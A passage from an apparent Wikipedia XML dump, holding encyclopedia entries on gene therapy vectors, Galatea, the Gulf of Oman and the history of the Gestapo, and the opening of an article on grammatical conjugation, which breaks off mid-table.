The genetic material in retroviruses is in the form of [[RNA]] molecules, while the genetic material of their hosts is in the form of DNA. When a retrovirus infects a host cell, it will introduce its RNA together with some enzymes into the cell. This RNA molecule from the retrovirus must produce a DNA copy from its RNA molecule before it can be considered for part of the genetic material of the host cell. The process of producing a DNA copy from an RNA molecule is termed [[reverse transcription]]. It is carried out by one of the enzymes carried in the virus, called [[reverse transcriptase]]. After this DNA copy is produced and is free in the [[Cell nucleus|nucleus]] of the host cell, it must be incorporated into the genome of the host cell. That is, it must be inserted into the large DNA molecules in the cell, or the [[chromosome]]s of the cell. This process is done by another enzyme carried in the virus called [[integrase]]. 

Now that the genetic material of the virus is incorporated and has become part of the genetic material of the host cell, we can say that the host cell is now modified to contain a new gene. When this host cell divides later, its descendants will all contain the new genes. 

One of the problems of gene therapy using retroviruses is that the integrase enzyme can insert the genetic material of the virus in any arbitrary position in the genome of the host. If genetic material happens to be inserted in the middle of one of the original genes of the host cell, this gene will be disrupted. If the gene happens to be one regulating cell division, uncontrolled cell division (i.e., [[cancer]]) can occur. This problem has recently begun to be addressed by utilizing Zinc finger nucleases to direct the site of integration to specific DNA sequences &lt;sup&gt;[1]&lt;/sup&gt;.

Gene therapy trials to treat [[severe combined immunodeficiency]] (SCID) were halted or restricted in the USA when [[leukemia]] was reported in three of eleven patients treated in the French Therapy X-linked SCID (XSCID) gene therapy trial. Five XSCID patients treated in England have not presented leukemia to date and have had similar success in immune reconstitution. Gene therapy trials to treat SCID due to deficiency of the Adenosin Deaminase (ADA) enzyme continue with relative success in the USA, Italy and Japan.

===Adenoviruses===

Adenoviruses are viruses that carry their genetic material in the form of double-stranded DNA. They cause respiratory (especially the common cold), intestinal, and eye infections in humans. When these viruses infect a host cell, they introduce their DNA molecule into the host.The genetic material of the adenoviruses is not incorporated into the host cells genetic material. The DNA molecule is left free in the nucleus of the host cell, and the instructions in this extra DNA molecule are [[transcribed]] just like any other gene. The only difference is that these extra genes are not replicated when the cell is about to undergo cell division. So the descendants of that cell will not have the extra gene. This means that treatment with the adenovirus will require regular doses to add the missing gene every time.

===Adeno-associated viruses===

[[Adeno-associated virus]]es, from the [[parvovirus]] family, are small viruses with a genome of single stranded DNA. These viruses can insert genetic material at a specific site on chromosome 19. There are a few disadvantages to using AAV, mainly the small amount of DNA it can carry and the difficulty in producing it. This type of virus is being used, however, because it is [[pathogen|non-pathogenic]] (most people carry this harmless virus). In contrast to adenoviruses, most people treated with AAV will not build an immune response to remove the virus and the cells that have been successfully treated with it. Several trials with AAV are on-going or in preparation, mainly trying to treat muscle and eye diseases, the two tissues where the virus seems particularly useful.

== Problems and ethics ==
For the safety of gene therapy, the [[Weismann barrier]] is fundamental in the current thinking. [[Soma-to-germline feedback]] should therefore be impossible. However, there are indications {{fact}} that the Weissman barrier can be breached. One way it might possibly be breached is if the treatment were somehow misapplied and spread to the testes and therefore would infect the germline against the intentions of the therapy.

==Publications==

[http://www.liebertpub.com/hum Human Gene Therapy], published by Mary Ann Liebert, Inc., is a rapid-publication, peer-reviewed journal covering all aspects of human gene therapy.

==See also==
*[[Genetic engineering]] -- [[DNA]] -- [[technology assessment]] -- [[Pharmacological Gene Therapy]]

==External links==
* [http://gslc.genetics.utah.edu/units/genetherapy/ Gene Therapy: Molecular Bandage?] University of Utah's Genetic Science Learning Center
*[http://www.whatsnextnetwork.com/health/index.php?cat=61 Latest Advances In Gene Research]
* [http://www.asgt.org/ The American Society of Gene Therapy]
* [http://www.esgt.org/ The European Society of Gene Therapy]
* [http://web.archive.org/web/20030219034830/http://www.gtherapy.co.uk/ 2003 news relating to gene therapy] 
* [http://www.cheng.cam.ac.uk/research/groups/biosci/index.html Research Group at Cambridge, UK working on an overcomming current hurdles to successful gene therapy]
* [http://www.gene-watch.org Council for Responsible Genetics]

==References==
#Zinc finger nucleases: custom-designed molecular scissors for genome engineering of plant and mammalian cells. ''Nucleic Acids Res. 2005 Oct 26; 33(18): 5978-90'' [http://www.pubmedcentral.gov/articlerender.fcgi?tool=pubmed&amp;pubmedid=16251401 Full text]


[[Category:Molecular biology]]
[[Category:Applied genetics]]
[[Category:Medical research]]
[[Category:Bioethics]]

[[da:Genterapi]]
[[de:Gentherapie]]
[[es:Terapia génica]]
[[eo:Genterapio]]
[[fr:Thérapie génique]]
[[it:Terapia genica]]
[[he:ריפוי גני]]
[[nl:Gentherapie]]
[[ja:遺伝子治療]]
[[pl:Terapia genowa]]
[[ru:Генотерапия]]
[[sv:Genterapi]]
[[zh:基因治療]]</text>
    </revision>
  </page>
  <page>
    <title>Galatea</title>
    <id>12893</id>
    <revision>
      <id>34682278</id>
      <timestamp>2006-01-11T00:02:20Z</timestamp>
      <contributor>
        <username>CJLL Wright</username>
        <id>259138</id>
      </contributor>
      <comment>+ [[Galathea National Park]]</comment>
      <text xml:space="preserve">'''Galatea''' may refer to:
*[[Galatea (mythology)]], a nymph in Greek mythology
*[[74 Galatea]], an asteroid 
*[[Galatea, New Zealand|Galatea]], a village in the [[North Island]] of [[New Zealand]]
*[[Galatea (Justice League Unlimited)]], an evil clone of the cartoon version of Supergirl
*[[Galatea (Raphael)]] or ''The Triumph of Galatea'', a Renaissance fresco by the painter Raphael 
*[[Galatea (computer game)]], an interactive fiction work by Emily Short
*[[Galatea (moon)]], a moon of Neptune 
*[[Galatea (novel)]], a work of fiction by Philip Pullman &lt;!-- Left red as good chance will exist --&gt;
*''[[Galatea 2.2]]'', a novel by Richard Powers
*[[HMS Galatea|HMS ''Galatea'']], of the British Royal Navy
*[[Mount Galatea]], a peak in the Canadian Rockies
* Galatea (The Bicentennial Man), a female NDR Android
*GTD ''Galatea'', the home carrier in the computer game [[Descent: Freespace]]
*[[Galathea National Park]], a national park in the Nicobar Islands, India.


'''Galatea''' may also refer to:
*A widespread genus of [[squat lobster]]s
*The common name for plants of the genus ''[[Dieffenbachia]]''

{{disambig}}

[[de:Galatea]]
[[es:Galatea]]
[[fr:Galatée]]
[[pl:Galatea]]
[[sl:Galatea]]</text>
    </revision>
  </page>
  <page>
    <title>Gulf of Oman</title>
    <id>12896</id>
    <revision>
      <id>41098761</id>
      <timestamp>2006-02-25T01:05:51Z</timestamp>
      <contributor>
        <ip>81.39.11.124</ip>
      </contributor>
      <comment>+ Catalan iw</comment>
      <text xml:space="preserve">The '''Gulf of Oman''' ([[Arabic language|Arabic]]: خليج عمان; [[Arabic transliteration|transliterated]]: Khalyj 'Oman) is a [[strait]] that connects the [[Arabian Sea]] with the [[Persian Gulf]]; it is generally included as a branch of the Persian Gulf, not as an arm of the Arabian Sea. On the north coast is [[Iran]] (Persia) On the south coast are [[Oman]] in the east and [[United Arab Emirates]] for a short distance in the west. A beach on the gulf is the setting for a fictional battle in the video game [[Battlefield 2]].

==External links==
*[http://www.gesource.ac.uk/satellite/683.jpg Satellite Image]
*[http://www.oman-oil.com/images/omanmap.jpg Map]

{{Iran-geo-stub}}
{{MEast-geo-stub}}

[[Category:Geography of Iran]]
[[Category:Geography of Oman]]
[[Category:Geography of the United Arab Emirates]]
[[Category:Gulfs|Oman]]
[[Category:Indian Ocean]]

[[ca:Golf d'Oman]]
[[da:Omanbugten]]
[[de:Golf von Oman]]
[[fa:دریای عمان]]
[[is:Ómanflói]]
[[he:מפרץ עומן]]
[[nl:Golf van Oman]]
[[pl:Zatoka Omańska]]
[[pt:Golfo de Omã]]</text>
    </revision>
  </page>
  <page>
    <title>Grammatical case</title>
    <id>12898</id>
    <revision>
      <id>15910547</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Declension]]
</text>
    </revision>
  </page>
  <page>
    <title>Gestapo</title>
    <id>12899</id>
    <revision>
      <id>42102481</id>
      <timestamp>2006-03-03T21:15:22Z</timestamp>
      <contributor>
        <username>Husnock</username>
        <id>63572</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/198.111.152.212|198.111.152.212]] ([[User talk:198.111.152.212|talk]]) to last version by Husnock</comment>
      <text xml:space="preserve">[[Image:Totenkopf.jpeg|thumb|right|155px|The Death's Head emblem similar to [[Skull and crossbones]], often used as the insignia of the Gestapo]]
The {{Audio|De-Gestapo.ogg|'''Gestapo'''}} ([[Contraction (grammar)|contraction]] of '''''Ge'''heime '''Sta'''ats'''po'''lizei''; &quot;secret state police&quot;) was the official [[secret police]] of [[Nazi Germany]]. Under the overall administration of the [[Schutzstaffel|SS]], it was administrated by the ''[[Reichssicherheitshauptamt|RSHA]]'' and was considered a dual organization of the ''[[Sicherheitsdienst]]'' and also a suboffice of the ''[[Sicherheitspolizei]]''.

== History ==
The Gestapo was established on [[April 26]], [[1933]] in [[Prussia]], from the existing organization of the [[Prussian Secret Police]].  The Gestapo was first simply a branch of the Prussian Police, known as &quot;Department 1A of the Prussian State Police&quot;.

Its first commander was [[Rudolf Diels]] who recruited members from professional [[police]] departments and ran the Gestapo as a federal police agency, comparable to several modern examples such as the [[Federal Bureau of Investigation]].  The Gestapo's role as a political police force was only established after [[Hermann Göring]] was appointed to succeed Diels as the Gestapo Commander, in 1934.  It was Göring who invented the term &quot;Gestapo&quot; (at first called ''Gestapa'') and urged the Nazi government to expand Gestapo power out of Prussia to encompass all of Germany.  To this, Göring was mostly successful except in [[Bavaria]], where [[Heinrich Himmler]] (head of the SS), served as the Bavarian Police President and used local SS units as a political police force.

In April of 1934, Göring and Himmler agreed to put aside all differences (due in large part to a combined hatred of the ''[[Sturmabteilung]]'') and Göring handed over full command of the Gestapo to the authority of the SS.  At that point, the Gestapo was combined into the ''[[Sicherheitspolizei]]'' and considered a sister organization to the ''[[Sicherheitsdienst]]'' or SD.

The role of the Gestapo was to investigate and combat &quot;all tendencies dangerous to the State.&quot; It had the authority to investigate [[treason]], [[espionage]] and [[sabotage]] cases, and cases of criminal attacks on the [[Nazi Party]] and on [[Germany]]. 

The law had been changed in such a way that the Gestapo's actions were not subject to [[judicial review]]. Nazi jurist Dr. [[Werner Best]] stated, &quot;As long as the [Gestapo] ... carries out the will of the leadership, it is acting legally.&quot; The Gestapo was specifically exempted from responsibility to administrative courts, where citizens normally could [[lawsuit|sue]] the state to conform to laws.

The power of the Gestapo most open to misuse was &quot;Schutzhaft&quot; or &quot;protective custody&quot; &amp;mdash; a [[euphemism]] for the power to imprison people without judicial proceedings, typically in [[concentration camp]]s. The person imprisoned even had to sign his or her own ''Schutzhaftbefehl'', the document declaring that the person desired to be imprisoned. Normally this signature was forced by beatings and [[torture]].

[[Image:Himmler_Hitler.jpg|thumb|right|[[Heinrich Himmler]] (left) chief of the SS, with [[Adolf Hitler]] (right)]]

=== Increasing power under the SS ===
Laws passed in 1936 effectively gave the Gestapo ''[[carte blanche]]'' to operate without judicial oversight. A further law passed in the same year declared the Gestapo to be responsible for the set-up and administration of [[concentration camp]]s. Also in 1936, [[Reinhard Heydrich]] became head of the Gestapo and [[Heinrich Müller]] chief of operations (although Müller assumed overall command after Heydrich's assassination in 1942). [[Adolf Eichmann]] was Müller's direct subordinate and head of department IV, section B4, which dealt with [[Jew]]s.

During [[World War II]], the Gestapo was expanded to around 45,000 members.

=== Keeping Hitler in power ===
By February and March 1942, student protests were calling for an end to the Nazi regime. These protests included non-violent resistance of [[Hans Scholl|Hans]] and [[Sophie Scholl]], two of the leaders of the [[White Rose]] student group. Despite the significant popular support for the removal of Hitler, resistance groups and those who were in moral or political opposition to the Nazis were stalled into inaction by the fear of reprisals from the Gestapo. In fact, reprisals did come in response to the protests. Fearful of an internal overthrow, the forces of Himmler and the Gestapo were unleashed on the opposition. The first five months of 1943 witnessed thousands of arrests and executions as the Gestapo exercised a severity hitherto unseen by the German public. Student leaders were executed in late February, and a major opposition organization, the [[Oster Circle]], was destroyed in April 1943.

The German opposition was in an unenviable position by the late spring and early summer of 1943. On one hand, it was next to impossible for them to overthrow Hitler and the party. On the other hand, because of the Allied demand of unconditional surrender, and therefore no opportunity for a compromise peace, there seemed to be no other alternative but to continue the military struggle.

=== Opposition from within Germany ===
Despite fear of the Gestapo, some German people did speak out and show signs of protest during the summer of 1943. Despite the mass arrests and executions of the spring, the opposition still plotted and planned. Some Germans were convinced that it was their duty to apply all possible expedients to end the war as quickly as possible, that is, to further the German defeat with all available means. 

The fall of [[Benito Mussolini]] gave the opposition plotters more hope to be able to achieve similar results in Germany and seemed to provide a propitious moment to assassinate Hitler and overthrow the Nazi regime.  Several Hitler assassination plots were planned, albeit mostly in abject terms.  The only serious attempt was carried out under the codename [[Operation Valkyrie]], in which several of Hitler's  generals attempted a [[coup d'état]].  On [[July 20]] [[1944]], Colonel [[Claus von Stauffenberg|Claus Schenk von Stauffenberg]] brought a bomb-laden suitcase into a briefing room where Hitler was holding a meeting. The bomb went off and several were killed. Hitler, along with several others, was wounded, but his life was saved by the conference table, which absorbed the blast. 7,000 people were arrested and 5,000, including von Stauffenberg, were executed in connection with the coup, some within twenty-four hours.

During June, July, and August, Himmler's forces continued to move swiftly against the opposition, rendering any organized opposition impossible. Arrests and executions were common. Terror against the people had become a way of life. A second major reason was that the opposition's peace feelers to the western Allies did not meet with success.

This was in part due to the aftermath of the [[Venlo incident]] of 1939, when Gestapo agents posing as anti-Nazis in the [[Netherlands]] kidnapped two British [[Secret Intelligence Service]] officers lured to a meeting to discuss peace terms. That prompted [[Winston Churchill]] to ban any further contact with the German opposition. In addition, the British and Americans did not want to deal with anti-Nazis because they were fearful that the [[Soviet Union]] would believe they were attempting to make deals behind their backs.

=== Nuremberg Trials ===
Between [[14 November]], [[1945]], and [[1 October]], [[1946]], the allies also established an [[International Military Tribunal]] (IMT) to try 24 major Nazi war criminals and six groups. They were to be tried for crimes against peace, war crimes, and crimes against humanity.

Leaders, organizers, instigators, and accomplices participating in the formulation or execution of a common plan or conspiracy to commit the crimes so specified were declared responsible for all acts performed by any persons in execution of such plan. The official positions of defendants as heads of state or holders of high government offices were not to free them from responsibility or mitigate their punishment; nor was the fact that a defendant acted pursuant to an order of a superior to excuse him from responsibility, although it might be considered by the IMT in mitigation of punishment. 

At the trial of any individual member of any group or organization, the IMT was authorized to declare (in connection with any act of which the individual was convicted) that the group or organization to which he belonged was a criminal organization. And where a group or organization was so declared criminal, the competent national authority of any signatory was given the right to bring individuals to trial for membership in that organization, in which trial the criminal nature of the group or organization was to be taken as proved.

[[Image:Goering in Nuremberg.jpg|thumb|300px|right|Gestapo founder [[Hermann Göring]] at the [[Nuremberg Trials|Nuremberg trials]]]]

These groups, the [[Nazi leadership corps]], the [[Reich Cabinet]], the [[OKW|German General Staff and High Command]], the [[Sturmabteilung|SA]] (Sturmabteilung), the [[Schutzstaffel|SS]] (Schutzstaffel-including the [[Sicherheitsdienst]], or SD), and the [[Gestapo]] (Secret Police), had an aggregate membership exceeding two million, and it was estimated that approximately half of them would be made liable for trial if the groups were convicted. 

The trials began in November 1945, and on [[October 1]], 1946, the IMT rendered its judgment on 21 top officials of the Third Reich. The IMT sentenced most of the accused to death or to extensive prison terms and acquitted three. The IMT also convicted three of the groups: the Nazi leadership corps, the SS (including the SD), and the Gestapo. Gestapo members [[Hermann Göring]] and [[Arthur Seyss-Inquart]] were individually convicted by the IMT.

Three groups were acquitted of collective war crimes charges, but this did not relieve individual members of those groups from conviction and punishment under the [[Denazification]] program. Members of the three convicted groups were subject to apprehension and trial as war criminals by the national, military, and occupation courts of the four allied powers. And, even though individual members of the convicted groups might be acquitted of war crimes, they still remained subject to trial under the Denazification program.

=== Today ===
After the [[Nuremberg Trials]], the Gestapo ceased to exist.

In 1997, [[Cologne]], Germany, transformed the former regional Gestapo headquarters in that city, the [[EL-DE Haus]], into a museum to document the organization's past actions. Although the museum's purpose is historical and educational, it is sometimes considered [[vulgar]] and [[offensive]], especially by those who were psychologically traumatized, [[torture]]d, or otherwise hurt by the Gestapo. 

Mention of the word &quot;Gestapo&quot;, even when using the word as a reference to any sort of unrestricted [[police]], is widely considered to be improper or insulting. In various countries of [[Central Europe|Central]] and [[Eastern Europe]], the term is used to denote in a  derogatory manner all police forces, but particularly  the communist-era [[riot police]], such as [[ZOMO]].

== Organization ==
When the Gestapo was founded, the organization was already a well-established bureaucratic mechanism, having been created out of the already existing [[Prussian Secret Police]].  In 1934, the Gestapo was transferred from the Prussian Interior Ministry to the authority of the [[Schutzstaffel|SS]], and for the next five years the Gestapo underwent a massive expansion.

In 1939, the entire Gestapo was placed under the authority of the [[RSHA]], a main office of the SS.  Within the RSHA, the Gestapo was known as &quot;Amt IV&quot;.  The internal organization of the group was as follows:

===Referat N: Central Intelligence Office===
The Central Command Office of the Gestapo, formed in 1941.  Before 1939, the Gestapo command was under the authority of the office of the ''[[Sicherheitspolizei]] und [[SD]]'', to which answered the Commanding General of the Gestapo.  Between 1939 and 1941, the Gestapo was run directly through the overall command of the ''Reichsicherheitshauptamt'' (RSHA).

===Department A (Enemies)===
* Communists (A1)
* Countersabotage (A2)
* Reactionaries and Liberals (A3)
* Assassinations (A4)

===Department B (Sects and Churches)===
* Catholics (B1)
* Protestants (B2)
* Freemasons (B3)
* Jews (B4)
* Colored People (B5)

===Department C (Administration and Party Affairs)===
The central administrative office of the Gestapo, responsible for card files of all personnel.

===Department D (Occupied Territories)===
* Opponents of the Regime (D1)
* Churches and Sects (D2)
* Records and Party Matters (D3)
* Western Territories (D4)
* Counter-espionage (D5)
* Alients (D6)

===Department E (Counter-Intelligence)===
* In the Reich (E1)
* Policy Formation (E2)
* In the West (E3)
* In Scandinavia (E4)
* In the East (E5)
* In the South (E6)

===Department F (Frontier and Border Police)===
The border guards of Germany answered directly to the Gestapo as an effort to keep close track of immigration and emigration to and from the Reich.  After the start of the [[World War II]], the office of the Border Police lost most of its authority to the German military, who patrolled the borders of Germany and the occupied territories as part of counter efforts to an Allied invasion.

===Local Offices===
The local offices of the Gestapo were known as ''Gestapostellen'' and ''Gestapoleitstellen''.  These offices answered to a local commander known as the ''Inspektor der Sicherheitspolizei und SD'' who, in turn, was under the dual command of ''Referat N'' of the Gestapo and also local [[SS and Police Leader]]s.  The classic image of the Gestapo officer, dressed in [[trench coat]] and [[hat]], can be attributed to Gestapo personnel assigned to local offices in German cities and larger towns. This image seems to have been popularized by the assassination of the former Chancellor General [[Kurt von Schleicher]] in 1934. General von Schleicher and his wife were gunned down in their [[Berlin]] home by three men dressed in black trench coats and wearing black fedoras. The killers of General von Schleicher were widely believed to have been Gestapo men. At a press conference held later the same day, [[Hermann Göring]] was asked by foreign correspondents to respond to a hot rumor that General von Schleicher had been murdered in his home. Goring stated that the Gestapo had attempted to arrest Schleicher, but that he had been “shot while attempting to resist arrest”.

===Auxiliary Duties===
The Gestapo also maintained offices at all [[Nazi concentration camps]], held an office on the staff of the SS and Police Leaders, and supplied personnel on an as-needed basis to such formations as the [[Einsatzgruppen]].  Such personnel, assigned to these auxiliary duties, were typically removed from the Gestapo chain of command and fell under the authority of other branches of the SS.

==The Daily Operations of the Gestapo==
Contrary to popular belief, the Gestapo was not an omnipotent agency that had its agents in every nook and cranny of German society. So-called “V-men” as undercover Gestapo agents were known only to be used  to infiltrate [[Social Democratic Party of Germany|Social Democratic]] and [[Communist Party of Germany|Communist]] opposition groups, but these cases were the exception, not the rule.

As the analysis of the ''Gestapostellen'' done by the historian Robert Gellately has established, for the most part the Gestapo was made of bureaucrats and clerical workers who depended upon denunciations by ordinary Germans for their information. Indeed, the Gestapo was overwhelmed with denunciations and spent most of its time sorting out the credible denunciations from less credible ones. Far from being an all-powerful agency that knew everything about what was happening in German society, the local ''Gestapostellen'' were under-staffed, over-worked offices that struggled with the paper-load caused by so many denunciations. The ratio of Gestapo officers to the general public was extremely lop-sided; for example, in the region of [[Lower Franconia]], which had about one million people in the 1930s, there was only one Gestapo office for the entire region, which had 28 people attached to it, of whom half were clerical workers.  

Furthermore, for information about what was happening in German society, the ''Gestapostellen'' were most part dependent upon these denunciations. Thus, it was ordinary Germans by their willingness to denounce one another who supplied the Gestapo with the information that determined who the Gestapo arrested. The popular picture of the Gestapo with its spies everywhere terrorizing German society has been firmly rejected by most historians.

== Gestapo counterintelligence ==
[[Image:Gestapo pins.jpg|thumb|right|Insignia pins such as these were issued to Gestapo officers.]]

The [[Polish government in exile]] in [[London]] during [[World War II]] received sensitive military information about Nazi Germany from agents and informants throughout [[Europe]]. After Germany conquered Poland in the fall of 1939, Gestapo officials believed that they had neutralized Polish intelligence activities. 
Cooperation of [[NKVD]] and [[Gestapo]]: In March 1940 representatives of NKVD and Gestapo meet for one week in [[Zakopane]], for the coordination of the pacification of resistance in [[Poland]]. The [[Soviet Union]] delivered hundreds of German and Austrian communists to Gestapo, as unwanted foreigners, together with relevant documents. 
However an advanced Polish intelligence network developed throughout Europe to provide information to the Allies.

Some of the Polish information about the movement of German police and SS units to the East during the [[Operation Barbarossa|German invasion]] of the [[Soviet Union]] in the fall of 1941 was similar to information British intelligence secretly got through intercepting and decoding German police and SS messages sent by [[radio telegraphy]]. 

In 1942, the Gestapo discovered a cache of Polish intelligence documents in [[Prague]] and were surprised to see that Polish agents and informants had been gathering detailed military information and smuggling it out to London, via [[Budapest]] and [[Istanbul]]. The Poles identified had tracked German military trains to the Eastern front and identified four [[Order Police]] (''Ordnungspolizei'') battalions sent to conquered areas of the Soviet Union in October 1941 and engaged in war crimes and mass murder. 

Polish agents also gathered detailed information about the morale of German soldiers in the East. After uncovering a sample of the information the Poles had reported, Gestapo officials concluded that Polish intelligence activity represented a very serious danger to Germany. As late as [[June 6]], [[1944]], [[Heinrich Müller]], head of the Gestapo, concerned about the leakage of information to the allied forces, set up a special unit called [[Sonderkommando Jerzy]], designed to root out the Polish intelligence network in western and southwestern Europe.

== Notable individuals ==
=== Agents and officers of the Gestapo ===
*[[Klaus Barbie]]
*[[Rudolf Diels]]
*[[Adolf Eichmann]]
*[[Gerhard Flesch]]
*[[Hans Bernd Gisevius]]
*[[Herbert Kappler]]
*[[Heinrich Himmler]]
*[[Reinhard Heydrich]]
*[[Henry Oliver Rinnan]]
*[[Walter Schellenberg]]
*[[Karl Eberhard Schöngarth]]
*[[Franz Stangl]] (Austrian Gestapo)
*[[Max Wielen]]
*[[Hermann Göring]]
*[[Siegfried Wolfgang Fehmer]]

=== People executed by the Gestapo ===
*[[Marc Bloch]], [[France|French]] historian
*[[Dietrich Bonhoeffer]], German theologian
*[[Roger Bushell]], leader of [[The Great Escape]]
*[[Wilhelm Canaris]], Head of the [[Abwehr]]
*[[Constant Chevillon]], Occultist
*[[Charles Delestraint]], [[French Resistance]] member
*[[Jean Moulin]], [[French Resistance]] leader
*[[Stanislaw Saks]], [[Poland|Polish]] mathematician
*[[Juliusz Schauder]], Polish mathematician
*[[Barthel Schink]], Member of the [[Edelweiss Pirates]]
*[[Ernst Thälmann]], German communist leader

== Other  ==
Sometimes the word &lt;b&gt;Gestapo&lt;/b&gt; is used colloquially for other organizations which are felt to be tyrannical: see [[Nazism#Nazi / Third Reich terminology in popular culture|Nazi/3rd Reich terms in popular culture]]. An example is in the book version of the [[Tron (film)|Tron]] movie, where a character says &quot;This kind of romp is going to annoy the local gestapo.&quot;

The Gestapo was parodied in the hit [[BBC]] [[sitcom]] ''[['Allo 'Allo!]]'', as stiff-as-board limping characters obsessed with protecting [[Adolf Hitler]] from assassination by the German military or resistance. Usually wearing black [[leather]] coats and hats, they were often seen [[cross-dressing]]. Herr Flick and Herr von Smallhausen were the local agents in the village of Nouvion, obsessed entirely with the German war effort. They were constantly under siege by the [[French Resistance]].

==References==
=== Books ===
*''The Gestapo and German society : enforcing racial policy 1935-1945'', Robert Gellately,  Oxford : Clarendon Press, 1990, ISBN 0198228694. 
*''German Resistance Against Hitler: The Search for Allies Abroad, 1938-1945'', Klemens Von Klemperer, Oxford University Press, 1992, ISBN 0198205511
*''Histoire de la Gestapo'', Jacques Delarue, Paris, 1962
*''An Illustrated History of the Gestapo'', Rupert Butler, Motorbooks, 1993, ISBN 0879388013
*'''Pierre de Villemarest,''' '''''Untouchable - Who protected Bormann &amp; Gestapo Müller after 1945...,''''' '''Aquilion, 2005, ISBN 1904997023'''

'''''Suspected hoax works about the Gestapo include:'''''
*''Gestapo Chief: The 1948 Interrogation of Heinrich Müller'' - Gregory Douglas. San Jose, CA 1995

===External links===
* [http://motlc.wiesenthal.com/text/x08/xm0841.html Gestapo entry at the Simon Wiesenthal Center site]
* [http://www.holocaustsurvivors.org/cgi-bin/data.show.pl?di=record&amp;da=encyclopedia&amp;ke=17 Holocaust Survivors Encyclopedia]
* [http://www.angelfire.com/dc/1spy/Gestapo.html History of Espionage entry]
* [http://www.archives.gov/iwg/research_papers/trial_of_war_criminals_before_imt.html U.S. Archives document on the IMT]
* [http://www.archives.gov/iwg/ U.S. Nazi War Crimes and Japanese Imperial Government Records Interagency Working Group]
* [http://www.archives.gov/publications/prologue/spring_2002_fritz_kolbe_2.html U.S. Archives profile of CIA spy Fritz Kolbe]
* [http://www.dhm.de/lemo/html/nazi/innenpolitik/gestapo/ Gestapo entry at the Deutsches Historisches Museum (German Historical Museum) Berlin]www.SAC.biz

&lt;!--Categories--&gt;

&lt;!--Interwiki--&gt;


[[Category:German intelligence agencies]]
[[Category:German loanwords]]
[[Category:Holocaust]]
[[Category:Law enforcement agencies of Germany]]
[[Category:Nazi Germany]]
[[Category:Portmanteaus]]
[[Category:SS]]

[[af:Gestapo]]
[[ar:جيستابو]]
[[bg:Гестапо]]
[[ca:Gestapo]]
[[cs:Gestapo]]
[[da:Gestapo]]
[[de:Gestapo]]
[[es:Gestapo]]
[[eo:Gestapo]]
[[fa:گشتاپو]]
[[fr:Gestapo]]
[[ko:게슈타포]]
[[id:Gestapo]]
[[it:Gestapo]]
[[he:גסטאפו]]
[[lb:Gestapo]]
[[hu:Gestapo]]
[[nl:Gestapo]]
[[ja:ゲシュタポ]]
[[no:Gestapo]]
[[nn:Gestapo]]
[[pl:Gestapo]]
[[pt:Gestapo]]
[[ru:Гестапо]]
[[sr:Гестапо]]
[[fi:Gestapo]]
[[sv:Gestapo]]
[[tr:Gestapo]]
[[zh:盖世太保]]</text>
    </revision>
  </page>
  <page>
    <title>Grammatical conjugation</title>
    <id>12900</id>
    <revision>
      <id>41766762</id>
      <timestamp>2006-03-01T16:24:36Z</timestamp>
      <contributor>
        <username>Gandalf1491</username>
        <id>922626</id>
      </contributor>
      <minor />
      <text xml:space="preserve">In [[linguistics]], '''conjugation''' is the creation of derived forms of a [[verb]] from its [[principal parts]] by [[inflection]] (regular alteration according to rules of [[grammar]]). Conjugation may be affected by [[grammatical person|person]], [[grammatical number|number]], [[grammatical gender|gender]], [[grammatical tense|tense]], [[grammatical mood|mood]], [[grammatical voice|voice]], [[grammatical aspect]], or other language-specific factors. All the different forms of the same verb constitute a [[lexeme]] and the form of the verb that is conventionally used to represent the canonical form of the verb is a [[lemma (linguistics)|lemma]].

Conjugated forms of a verb which show a given person, number, tense, etc. are called ''finite'' forms. In many languages there are also one or more several ''non-finite'' forms, such as the [[infinitive]] or the [[gerund]]. A table giving all the conjugated variants of a verb in a given language is called a '''conjugation table''' or a '''verb paradigm'''.

A [[regular verb]] has a paradigm of conjugation that derives all forms from a few specific forms or ''[[principal parts]]'' (maybe only one, such as the infinitive in English). When a verb cannot be conjugated straightforwardly like this, it is said to be [[irregular verb|irregular]]. Typically the principal parts are the [[root (linguistics)|root]] and/or several modifications of it ([[stem (linguistics)|stem]]s).

'''Conjugation''' is also the traditional name of a group of verbs that share a similar conjugation pattern in a particular language (a ''verb class''). This is the sense in which teachers say that [[Latin]] has four conjugations of verbs. This means that any regular Latin verb can be conjugated in any person, number, tense, mood, and voice by knowing which of the four conjugation groups it belongs to, and its principal parts.

==Examples of conjugation==

[[Indo-European language]]s tend to [[inflection|inflect]] the verb for several categories and thus they have large verb paradigms and a difficult conjugation.  The [[copula]]r verb ''to be'' is usually the most irregular. Here is a sample conjugation of ''to be'' in [[English language|English]] and its [[Latin]], [[French language|French]], [[German language|German]], [[Spanish language|Spanish]], [[Portuguese language|Portuguese]], and [[Swedish language|Swedish]] equivalents &amp;mdash; ''esse'', ''être'', ''sein'', ''ser'', ''ser'', and ''vara'', respectively.  Notice the similarities between English, German, and Swedish on the one hand and French, Spanish, Portuguese and Latin on the other; notice also that, where the infinitive is concerned, only English and Swedish are very much divergent from the rest of the major European languages.

''(Except for the infinitive, which is in the present active form, all the verbs listed are in the present indicative active. The appropriate [[pronoun]] is included in most of the examples.)''

{| class=&quot;wikitable&quot;
|+ |''To be'' in several Indo-European languages
|-
!Form / Person
!English
!Latin
!French
!German
!Spanish
!Portuguese
!Swedish
!Latvian
!Italian
!Hindi
|-
|infinitive
|[[Wiktionary:be|to be]]
|[[Wiktionary:esse|esse]]
|[[Wiktionary:être|être]]
|[[Wiktionary:sein|sein]]
|[[Wiktionary:ser|ser]]
|ser
|[[Wiktionary:vara|vara]]
|[[Wiktionary:būt|būt]]
|[[Wiktionary:essere|essere]]
|'hona'
|-
|1st singular
|I am
|(ego) sum
|je suis
|ich bin
|(yo) soy
|eu sou
|jag är
|es esmu
|io sono
|'main hoon'
|-
|2nd singular
|you are
|(tū) es
|tu es
|du bist
|(tú) eres
|tu és
|du är
|tu esi
|tu sei
|'tu hai', 'tum ho'(informal),
|-
|3rd singular
|he/she/it is
|(is/ea/id) est
|il / elle est
|er / sie / es ist
|él / ella / usted es
|ele / ela / você é
|han / hon / den / det är
|viņš/ viņa ir
|lei é
|'woh hai', 've hain(formal)'
|-
|1st plural
|we are
|(nōs) sumus
|nous sommes
|wir sind
|(nosotros / nosotras) somos
|nós somos
|vi är
|mēs esam
|noi siamo
|'ham hain'
|-
|2nd plural
|you are
|(vōs) estis
|vous êtes
